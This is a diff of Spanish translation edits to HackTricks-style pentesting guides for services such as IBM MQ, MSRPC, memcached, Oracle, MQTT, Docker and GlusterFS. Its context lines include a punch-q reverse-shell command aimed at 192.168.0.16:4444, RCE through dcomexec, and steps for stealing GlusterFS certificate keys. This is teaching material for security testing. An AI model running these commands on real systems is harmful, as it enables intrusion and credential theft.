- **JSExport Protocol**: Al heredar el protocolo `JSExport`, las propiedades nativas, los métodos de instancia y los métodos de clase pueden ser expuestos a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que los datos sensibles no se expongan inadvertidamente a través de este método.
|
||||
|
||||
### Accediendo a `JSContext` en Objective-C
|
||||
@ -258,11 +258,11 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
|
||||
Para depurar eficazmente el contenido web dentro de los webviews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollo de Safari, debido a que los mensajes enviados a `console.log()` no se muestran en los registros de Xcode. Aquí hay una guía simplificada, enfatizando los pasos y requisitos clave:
|
||||
|
||||
- **Preparación en el Dispositivo iOS**: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a **Configuración > Safari > Avanzado**, y habilitando el _Inspector Web_.
|
||||
- **Preparación en el dispositivo iOS**: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a **Configuración > Safari > Avanzado**, y habilitando el _Inspector Web_.
|
||||
|
||||
- **Preparación en el Dispositivo macOS**: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollo dentro de Safari. Inicia Safari, accede a **Safari > Preferencias > Avanzado**, y selecciona la opción para _Mostrar menú de Desarrollo_.
|
||||
- **Preparación en el dispositivo macOS**: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollo dentro de Safari. Inicia Safari, accede a **Safari > Preferencias > Avanzado**, y selecciona la opción para _Mostrar menú de Desarrollo_.
|
||||
|
||||
- **Conexión y Depuración**: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, utiliza Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a _Desarrollar_ en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari para este propósito.
|
||||
- **Conexión y depuración**: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, utiliza Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a _Desarrollar_ en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari para este propósito.
|
||||
|
||||
Sin embargo, ten en cuenta las limitaciones:
|
||||
|
||||
|
||||
@ -8,18 +8,18 @@ Xamarin es una **plataforma de código abierto** diseñada para que los desarrol
|
||||
|
||||
### Arquitectura de Xamarin
|
||||
|
||||
- Para **Android**, Xamarin se integra con los espacios de nombres de Android y Java a través de enlaces .NET, operando dentro del entorno de ejecución Mono junto con el Android Runtime (ART). Los Managed Callable Wrappers (MCW) y Android Callable Wrappers (ACW) facilitan la comunicación entre Mono y ART, ambos construidos sobre el núcleo de Linux.
|
||||
- Para **Android**, Xamarin se integra con los espacios de nombres de Android y Java a través de enlaces .NET, operando dentro del entorno de ejecución Mono junto con el Android Runtime (ART). Los Managed Callable Wrappers (MCW) y los Android Callable Wrappers (ACW) facilitan la comunicación entre Mono y ART, ambos construidos sobre el núcleo de Linux.
|
||||
- Para **iOS**, las aplicaciones se ejecutan bajo el entorno de ejecución Mono, utilizando una compilación completa Ahead of Time (AOT) para convertir el código C# .NET en lenguaje ensamblador ARM. Este proceso se ejecuta junto con el Objective-C Runtime en un núcleo similar a UNIX.
|
||||
|
||||
### Entorno de Ejecución .NET y Framework Mono
|
||||
|
||||
El **framework .NET** incluye ensamblados, clases y espacios de nombres para el desarrollo de aplicaciones, con el .NET Runtime gestionando la ejecución del código. Ofrece independencia de plataforma y compatibilidad hacia atrás. El **Framework Mono** es una versión de código abierto del framework .NET, iniciada en 2005 para extender .NET a Linux, ahora respaldada por Microsoft y liderada por Xamarin.
|
||||
El **framework .NET** incluye ensamblados, clases y espacios de nombres para el desarrollo de aplicaciones, con el .NET Runtime gestionando la ejecución del código. Ofrece independencia de plataforma y compatibilidad hacia atrás. El **Framework Mono** es una versión de código abierto del framework .NET, iniciada en 2005 para extender .NET a Linux, ahora soportada por Microsoft y liderada por Xamarin.
|
||||
|
||||
### Ingeniería Inversa de Aplicaciones Xamarin
|
||||
|
||||
#### Decompilación de Ensamblados Xamarin
|
||||
|
||||
La decompilación transforma el código compilado de nuevo en código fuente. En Windows, la ventana de Módulos en Visual Studio puede identificar módulos para decompilación, permitiendo el acceso directo al código de terceros y la extracción del código fuente para análisis.
|
||||
La decompilación transforma el código compilado de vuelta en código fuente. En Windows, la ventana de Módulos en Visual Studio puede identificar módulos para decompilación, permitiendo el acceso directo al código de terceros y la extracción de código fuente para análisis.
|
||||
|
||||
#### Compilación JIT vs AOT
|
||||
|
||||
|
||||
@ -38,7 +38,7 @@ PORT STATE SERVICE
|
||||
|
||||
### Uso básico de proxychains
|
||||
|
||||
Configura cadenas de proxy para usar un proxy socks
|
||||
Configura proxy chains para usar un proxy socks
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
|
||||
@ -27,7 +27,7 @@ En términos simples, _Java RMI_ permite a un desarrollador hacer un _objeto Jav
|
||||
|
||||
El primer desafío se resuelve mediante el _RMI registry_, que es básicamente un servicio de nombres para _Java RMI_. El _RMI registry_ en sí también es un _servicio RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite que los clientes _RMI_ consuman el _RMI registry_ solo conociendo el puerto _TCP_ correspondiente.
|
||||
|
||||
Cuando los desarrolladores quieren hacer sus _objetos Java_ disponibles dentro de la red, generalmente los vinculan a un _RMI registry_. El _registry_ almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor `ObjID`) y la pone a disposición bajo un nombre legible por humanos (el _nombre vinculado_). Los clientes que desean consumir el _servicio RMI_ preguntan al _RMI registry_ por el _nombre vinculado_ correspondiente y el registry devuelve toda la información necesaria para conectarse. Así, la situación es básicamente la misma que con un servicio _DNS_ ordinario. La siguiente lista muestra un pequeño ejemplo:
|
||||
Cuando los desarrolladores quieren hacer sus _objetos Java_ disponibles dentro de la red, generalmente los vinculan a un _RMI registry_. El _registry_ almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor `ObjID`) y la pone a disposición bajo un nombre legible por humanos (el _nombre vinculado_). Los clientes que desean consumir el _servicio RMI_ preguntan al _RMI registry_ por el _nombre vinculado_ correspondiente y el registro devuelve toda la información necesaria para conectarse. Así, la situación es básicamente la misma que con un servicio _DNS_ ordinario. La siguiente lista muestra un pequeño ejemplo:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
||||
@ -57,9 +57,9 @@ En el ámbito de memcache, un protocolo que ayuda a organizar datos por slabs, e
|
||||
|
||||
1. Las claves solo se pueden volcar por clase de slab, agrupando claves de tamaño de contenido similar.
|
||||
2. Existe un límite de una página por clase de slab, equivalente a 1MB de datos.
|
||||
3. Esta función es no oficial y puede ser descontinuada en cualquier momento, como se discute en [community forums](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
|
||||
3. Esta función es no oficial y puede ser descontinuada en cualquier momento, como se discute en [foros comunitarios](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM).
|
||||
|
||||
La limitación de poder volcar solo 1MB de potencialmente gigabytes de datos es particularmente significativa. Sin embargo, esta funcionalidad aún puede ofrecer información sobre los patrones de uso de claves, dependiendo de las necesidades específicas. Para aquellos menos interesados en la mecánica, una visita a la [tools section](https://lzone.de/cheat-sheet/memcached#tools) revela utilidades para un volcado completo. Alternativamente, el proceso de usar telnet para la interacción directa con configuraciones de memcached se describe a continuación.
|
||||
La limitación de poder volcar solo 1MB de potencialmente gigabytes de datos es particularmente significativa. Sin embargo, esta funcionalidad aún puede ofrecer información sobre patrones de uso de claves, dependiendo de necesidades específicas. Para aquellos menos interesados en la mecánica, una visita a la [sección de herramientas](https://lzone.de/cheat-sheet/memcached#tools) revela utilidades para un volcado completo. Alternativamente, el proceso de usar telnet para la interacción directa con configuraciones de memcached se describe a continuación.
|
||||
|
||||
### **Cómo Funciona**
|
||||
|
||||
@ -84,9 +84,9 @@ Ejecutar el comando "stats slabs" después de la adición de una clave produce e
|
||||
stats slabs
|
||||
[...]
|
||||
```
|
||||
Esta salida revela los tipos de slab activos, los chunks utilizados y las estadísticas operativas, ofreciendo información sobre la eficiencia de las operaciones de lectura y escritura.
|
||||
Esta salida revela los tipos de slab activos, los bloques utilizados y las estadísticas operativas, ofreciendo información sobre la eficiencia de las operaciones de lectura y escritura.
|
||||
|
||||
Otro comando útil, "stats items", proporciona datos sobre desalojos, restricciones de memoria y ciclos de vida de los ítems:
|
||||
Otro comando útil, "stats items", proporciona datos sobre desalojos, restricciones de memoria y ciclos de vida de los elementos:
|
||||
```bash
|
||||
stats items
|
||||
[...]
|
||||
@ -124,7 +124,7 @@ Tabla [desde aquí](https://lzone.de/blog).
|
||||
| Perl | [script simple](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Imprime claves y valores | | |
|
||||
| Ruby | [script simple](https://gist.github.com/1365005) | Imprime nombres de claves. | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Herramienta en el módulo CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Interfaz gráfica de monitoreo de Memcache que también permite volcar claves | | |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Interfaz gráfica de monitoreo de Memcache que también permite volcar claves | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **¡Congela tu proceso de memcached!** Ten cuidado al usar esto en producción. Aún así, puedes sortear la limitación de 1MB y realmente volcar **todas** las claves. | | |
|
||||
|
||||
## Solución de Problemas <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
@ -30,7 +30,7 @@ Lamentablemente, la descripción de la sintaxis no es realmente clara y un simpl
|
||||
| | Imprime información sobre los elementos | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | Restablece los contadores de estadísticas | `stats reset` |
|
||||
| | Restablece los contadores de estadísticas | `stats reset` |
|
||||
| lru_crawler metadump | Volcar (la mayor parte de) los metadatos de (todos) los elementos en la caché | `lru_crawler metadump all` |
|
||||
| version | Imprime la versión del servidor. | `version` |
|
||||
| verbosity | Aumenta el nivel de registro | `verbosity` |
|
||||
@ -97,11 +97,11 @@ STAT active_slabs 3
|
||||
STAT total_malloced 3145436
|
||||
END
|
||||
```
|
||||
Si no está seguro de si tiene suficiente memoria para su instancia de memcached, siempre esté atento a los contadores de "evictions" proporcionados por el comando "stats". Si tiene suficiente memoria para la instancia, el contador de "evictions" debería ser 0 o al menos no estar aumentando.
|
||||
Si no estás seguro de si tienes suficiente memoria para tu instancia de memcached, siempre debes estar atento a los contadores de "evictions" proporcionados por el comando "stats". Si tienes suficiente memoria para la instancia, el contador de "evictions" debería ser 0 o al menos no estar aumentando.
|
||||
|
||||
#### ¿Qué claves se utilizan? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
#### ¿Qué Claves Se Usan? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
|
||||
No hay una función incorporada para determinar directamente el conjunto actual de claves. Sin embargo, puede usar el
|
||||
No hay una función incorporada para determinar directamente el conjunto actual de claves. Sin embargo, puedes usar el
|
||||
```
|
||||
stats items
|
||||
```
|
||||
|
||||
@ -26,7 +26,7 @@ Annotation: Messenger Service
|
||||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
El acceso al servicio de localización RPC está habilitado a través de protocolos específicos: ncacn_ip_tcp y ncadg_ip_udp para acceder a través del puerto 135, ncacn_np para conexiones SMB y ncacn_http para comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con servicios MSRPC, centrándose principalmente en el puerto 135:
|
||||
El acceso al servicio de localización RPC se habilita a través de protocolos específicos: ncacn_ip_tcp y ncadg_ip_udp para acceder a través del puerto 135, ncacn_np para conexiones SMB y ncacn_http para comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con servicios MSRPC, centrándose principalmente en el puerto 135:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
@ -67,13 +67,13 @@ Todas las opciones excepto `tcp_dcerpc_auditor` están diseñadas específicamen
|
||||
|
||||
Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente de [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_.
|
||||
|
||||
Este método se ha utilizado para obtener información de la interfaz como dirección **IPv6** de la caja HTB _APT_. Vea [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para el informe de 0xdf APT, incluye un método alternativo usando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba).
|
||||
Este método se ha utilizado para obtener información de la interfaz como dirección **IPv6** de la caja HTB _APT_. Ver [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para el informe de 0xdf APT, incluye un método alternativo usando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba).
|
||||
|
||||
### Ejecutando un RCE con credenciales válidas
|
||||
|
||||
Es posible ejecutar código remoto en una máquina, si las credenciales de un usuario válido están disponibles usando [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) del marco impacket.
|
||||
|
||||
**Recuerde intentar con los diferentes objetos disponibles**
|
||||
**Recuerda probar con los diferentes objetos disponibles**
|
||||
|
||||
- ShellWindows
|
||||
- ShellBrowserWindow
|
||||
|
||||
@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Servicio de Distribución de Datagramas
|
||||
|
||||
Los datagramas de NetBIOS permiten la comunicación sin conexión a través de UDP, soportando mensajería directa o difusión a todos los nombres de la red. Este servicio utiliza el puerto **138/udp**.
|
||||
Los datagramas NetBIOS permiten la comunicación sin conexión a través de UDP, soportando mensajería directa o difusión a todos los nombres de la red. Este servicio utiliza el puerto **138/udp**.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
@ -38,12 +38,12 @@ Para interacciones orientadas a la conexión, el **Servicio de Sesión** facilit
|
||||
|
||||
La transmisión de datos dentro de una sesión implica paquetes de **Mensaje de Sesión**, y las sesiones se terminan cerrando la conexión TCP.
|
||||
|
||||
Estos servicios son fundamentales para la funcionalidad de **NetBIOS**, permitiendo una comunicación eficiente y el intercambio de recursos a través de una red. Para más información sobre los protocolos TCP e IP, consulte sus respectivas páginas de [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) y [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
Estos servicios son fundamentales para la funcionalidad de **NetBIOS**, permitiendo una comunicación eficiente y el intercambio de recursos a través de una red. Para más información sobre los protocolos TCP e IP, consulta sus respectivas páginas de [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) y [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
**Lee la siguiente página para aprender a enumerar este servicio:**
|
||||
**Lee la siguiente página para aprender cómo enumerar este servicio:**
|
||||
|
||||
{{#ref}}
|
||||
137-138-139-pentesting-netbios.md
|
||||
|
||||
@ -121,7 +121,7 @@ logging.info('Found channel `%s`' % channel_name)
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Pero **punch-q** también incorpora esa parte (¡con más información!).
|
||||
... Pero **punch-q** también incorpora esa parte (¡con más información!).
|
||||
Se puede lanzar con:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
@ -169,7 +169,7 @@ Showing queues with prefix: "*"...
|
||||
```
|
||||
## Exploit
|
||||
|
||||
### Dump messages
|
||||
### Volcar mensajes
|
||||
|
||||
Puedes dirigirte a cola(s)/canal(es) para espiar / volcar mensajes de ellos (operación no destructiva). _Ejemplos:_
|
||||
```bash
|
||||
@ -183,7 +183,7 @@ Puedes dirigirte a cola(s)/canal(es) para espiar / volcar mensajes de ellos (ope
|
||||
|
||||
### Ejecución de código
|
||||
|
||||
> Algunos detalles antes de continuar: IBM MQ se puede controlar a través de múltiples formas: MQSC, PCF, Control Command. Se pueden encontrar listas generales en [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> Algunos detalles antes de continuar: IBM MQ se puede controlar a través de múltiples formas: MQSC, PCF, Control Command. Se pueden encontrar algunas listas generales en [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Formatos de Comando Programables_**) es en lo que nos enfocamos para interactuar de forma remota con la instancia. **punch-q** y además **pymqi** se basan en interacciones PCF.
|
||||
>
|
||||
> Puedes encontrar una lista de comandos PCF:
|
||||
@ -224,11 +224,11 @@ Giving the service 0 second(s) to live...
|
||||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Ten en cuenta que el lanzamiento del programa es asíncrono. Así que necesitas un segundo elemento para aprovechar la explotación** **_(listener para reverse shell, creación de archivos en un servicio diferente, exfiltración de datos a través de la red ...)_**
|
||||
**Ten en cuenta que el lanzamiento del programa es asíncrono. Así que necesitas un segundo elemento para aprovechar la vulnerabilidad** **_(listener para reverse shell, creación de archivos en un servicio diferente, exfiltración de datos a través de la red ...)_**
|
||||
|
||||
**Ejemplo 2**
|
||||
|
||||
Para una reverse shell fácil, **punch-q** también propone dos payloads de reverse shell:
|
||||
Para un reverse shell fácil, **punch-q** también propone dos payloads de reverse shell:
|
||||
|
||||
- Uno con bash
|
||||
- Uno con perl
|
||||
@ -243,7 +243,7 @@ Para perl:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
### Custom PCF
|
||||
### PCF Personalizado
|
||||
|
||||
Puedes profundizar en la documentación de IBM MQ y utilizar directamente la biblioteca de python **pymqi** para probar comandos PCF específicos que no están implementados en **punch-q**.
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Oracle database (Oracle DB) es un sistema de gestión de bases de datos relacional (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener oyentes secundarios en 1522–1529-).
|
||||
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener listeners secundarios en 1522–1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
@ -14,7 +14,7 @@ Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que genera
|
||||
## Resumen
|
||||
|
||||
1. **Enumeración de Versiones**: Identificar información de versión para buscar vulnerabilidades conocidas.
|
||||
2. **Bruteforce del TNS Listener**: A veces es necesario para establecer comunicación.
|
||||
2. **Bruteforce del TNS Listener**: A veces es necesario establecer comunicación.
|
||||
3. **Enumeración/Bruteforce del Nombre SID**: Descubrir nombres de bases de datos (SID).
|
||||
4. **Bruteforce de Credenciales**: Intentar acceder al SID descubierto.
|
||||
5. **Ejecución de Código**: Intentar ejecutar código en el sistema.
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Oracle database (Oracle DB) es un sistema de gestión de bases de datos relacional (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener oyentes secundarios en 1522–1529-).
|
||||
Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener listeners secundarios en 1522–1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
@ -14,7 +14,7 @@ Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que genera
|
||||
## Resumen
|
||||
|
||||
1. **Enumeración de Versiones**: Identificar información de versión para buscar vulnerabilidades conocidas.
|
||||
2. **Bruteforce del Listener TNS**: A veces es necesario para establecer comunicación.
|
||||
2. **Bruteforce del Listener TNS**: A veces es necesario establecer comunicación.
|
||||
3. **Enumeración/Bruteforce del Nombre SID**: Descubrir nombres de bases de datos (SID).
|
||||
4. **Bruteforce de Credenciales**: Intentar acceder al SID descubierto.
|
||||
5. **Ejecución de Código**: Intentar ejecutar código en el sistema.
|
||||
|
||||
@ -28,7 +28,7 @@ Por ejemplo, si el broker rechaza la conexión debido a credenciales inválidas,
|
||||
|
||||
## Pentesting MQTT
|
||||
|
||||
**La autenticación es totalmente opcional** y, incluso si se está realizando autenticación, **la encriptación no se utiliza por defecto** (las credenciales se envían en texto claro). Los ataques MITM aún se pueden ejecutar para robar contraseñas.
|
||||
**La autenticación es totalmente opcional** y, incluso si se está realizando la autenticación, **la encriptación no se utiliza por defecto** (las credenciales se envían en texto claro). Los ataques MITM aún se pueden ejecutar para robar contraseñas.
|
||||
|
||||
Para conectarte a un servicio MQTT puedes usar: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) y suscribirte a todos los temas haciendo:
|
||||
```
|
||||
@ -84,7 +84,7 @@ El modelo de publicar/suscribirse se compone de:
|
||||
- **Broker**: enruta todos los mensajes de los publicadores a los suscriptores.
|
||||
- **Tema**: consiste en uno o más niveles que están separados por una barra diagonal (e.g., /smartshouse/livingroom/temperature).
|
||||
|
||||
### Formato de Paquete <a href="#f15a" id="f15a"></a>
|
||||
### Formato del Paquete <a href="#f15a" id="f15a"></a>
|
||||
|
||||
Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado Fijo
|
||||
|
||||
@ -100,9 +100,9 @@ Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado
|
||||
- PUBREL (6): Aseguramiento adicional en la entrega de mensajes, indicando una liberación de mensaje.
|
||||
- PUBCOMP (7): Parte final del protocolo de entrega de mensajes, indicando finalización.
|
||||
- SUBSCRIBE (8): Solicitud de un cliente para escuchar mensajes de un tema.
|
||||
- SUBACK (9): El reconocimiento del servidor de una solicitud de SUBSCRIBE.
|
||||
- SUBACK (9): El reconocimiento del servidor de una solicitud de SUSCRIPCIÓN.
|
||||
- UNSUBSCRIBE (10): Solicitud de un cliente para dejar de recibir mensajes de un tema.
|
||||
- UNSUBACK (11): La respuesta del servidor a una solicitud de UNSUBSCRIBE.
|
||||
- UNSUBACK (11): La respuesta del servidor a una solicitud de CANCELACIÓN DE SUSCRIPCIÓN.
|
||||
- PINGREQ (12): Un mensaje de latido enviado por el cliente.
|
||||
- PINGRESP (13): Respuesta del servidor al mensaje de latido.
|
||||
- DISCONNECT (14): Iniciado por el cliente para terminar la conexión.
|
||||
|
||||
@ -41,7 +41,7 @@ docker system prune -a
|
||||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd** fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como **Docker y Kubernetes**, entre otras. Su objetivo es **simplificar la ejecución de contenedores** en varios sistemas operativos, incluyendo Linux, Windows, Solaris y más, al abstraer la funcionalidad específica del sistema operativo y las llamadas al sistema. La meta de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, lograr este objetivo por completo se reconoce como un desafío.
|
||||
**Containerd** fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como **Docker y Kubernetes**, entre otras. Su objetivo es **simplificar la ejecución de contenedores** en varios sistemas operativos, incluyendo Linux, Windows, Solaris y más, al abstraer la funcionalidad específica del sistema operativo y las llamadas al sistema. El objetivo de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, lograr este objetivo por completo se reconoce como un desafío.
|
||||
|
||||
Una decisión clave de diseño es que **Containerd no maneja la red**. La red se considera un elemento crítico en sistemas distribuidos, con complejidades como la Red Definida por Software (SDN) y el descubrimiento de servicios que varían significativamente de una plataforma a otra. Por lo tanto, Containerd deja los aspectos de red para ser gestionados por las plataformas que soporta.
|
||||
|
||||
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
- `./docker-bench-security.sh`
|
||||
- Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de docker.
|
||||
- `dockscan -v unix:///var/run/docker.sock`
|
||||
- Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
||||
- Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para ver los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
||||
- `docker run --rm -it r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
**GlusterFS** es un **sistema de archivos distribuido** que combina el almacenamiento de múltiples servidores en un **sistema unificado**. Permite una **escalabilidad arbitraria**, lo que significa que puedes agregar o quitar servidores de almacenamiento fácilmente sin interrumpir el sistema de archivos en general. Esto asegura una alta **disponibilidad** y **tolerancia a fallos** para tus datos. Con GlusterFS, puedes acceder a tus archivos como si estuvieran almacenados localmente, independientemente de la infraestructura del servidor subyacente. Proporciona una solución poderosa y flexible para gestionar grandes cantidades de datos a través de múltiples servidores.
|
||||
|
||||
**Puertos predeterminados**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (en adelante)\
|
||||
**Puertos por defecto**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (en adelante)\
|
||||
Para el puerto 49152, los puertos incrementados en 1 deben estar abiertos para usar más bricks. _Anteriormente se utilizaba el puerto 24009 en lugar de 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
@ -22,14 +22,14 @@ sudo gluster --remote-host=10.10.11.131 volume list
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
```
|
||||
Si recibes un **error al intentar montar el sistema de archivos**, puedes revisar los registros en `/var/log/glusterfs/`
|
||||
Si recibe un **error al intentar montar el sistema de archivos**, puede verificar los registros en `/var/log/glusterfs/`
|
||||
|
||||
**Los errores que mencionan certificados** se pueden solucionar robando los archivos (si tienes acceso al sistema):
|
||||
**Los errores que mencionan certificados** se pueden solucionar robando los archivos (si tiene acceso al sistema):
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
Y almacenándolos en tu máquina en el directorio `/etc/ssl` o `/usr/lib/ssl` (si se utiliza un directorio diferente, busca líneas similares a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" en los registros).
|
||||
Y almacenándolos en su máquina en el directorio `/etc/ssl` o `/usr/lib/ssl` (si se utiliza un directorio diferente, busque líneas similares a: "_no se pudo cargar nuestro certificado en /usr/lib/ssl/glusterfs.pem_" en los registros).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -69,7 +69,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not
|
||||
|
||||
Ejemplo [de aquí](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||||
|
||||
Los IDs de objeto de Mongo son cadenas **hexadecimales de 12 bytes**:
|
||||
Los IDs de objeto de Mongo son **cadenas hexadecimales de 12 bytes**:
|
||||
|
||||

|
||||
|
||||
|
||||
